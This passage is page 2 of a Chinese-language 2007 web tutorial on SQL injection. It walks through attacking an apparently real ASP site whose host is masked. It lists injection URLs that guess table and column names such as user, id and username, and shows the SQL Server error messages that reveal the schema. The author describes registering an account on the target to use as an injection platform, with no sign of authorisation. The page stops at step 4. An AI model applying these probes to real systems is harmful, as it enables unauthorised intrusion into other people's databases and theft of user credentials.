WEB开发网
开发学院数据库MSSQL Server 有孔就入 SQL Injection的深入探讨 阅读

有孔就入 SQL Injection的深入探讨

 2007-05-19 09:43:25 来源:WEB开发网   
核心提示: Microsoft OLE DB Provider for SQL Server 错误 80040e21多步 OLE DB 操作产生错误,如果可能,有孔就入 SQL Injection的深入探讨(2),请检查每个 OLE DB 状态值,没有工作被完成,作为注入的平台,得到我的用户名的id值
Microsoft OLE DB Provider for SQL Server 错误 80040e21
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/showspecial.asp,行13

想在他的数据库里增加一个管理员是不可能了,我们再换一种方法

2、提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(id) from [user])

这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段。一般来说:如果不存在该表的话,会出现

Microsoft OLE DB Provider for SQL Server 错误 80040e37
对象名 user 无效。
/showspecial.asp,行13

不存在该字段的话,会出现

Microsoft OLE DB Provider for SQL Server 错误 80040e14
列名 id 无效。
/showspecial.asp,行13

注:一般来说,第一步是猜一些公共的表,这里所指的公共表的意思是大多数的程序员在写设计数据库结构的时候会用到的常用的表和字段,比如新闻的news表中的编号字段id,标题字段title,用户表user或者user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码,找到用户名和密码的表单的name值,那个也经常会是表字段名的真实值,如很幸运,果然存在user表和id字段。

3、通过提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username) from [user])

这里的username是根据登陆框的表单名去猜的,恰好存在该字段。于是在该站注册了一个用户名为rrrrr的用户,作为注入的平台,得到我的用户名的id值103534

4、继续猜下去,这里我还是利用的他程序中的表单名,提交:

上一页  1 2 3 4 5  下一页

Tags:SQL Injection 深入

编辑录入:coldstar [复制链接] [打 印]
赞助商链接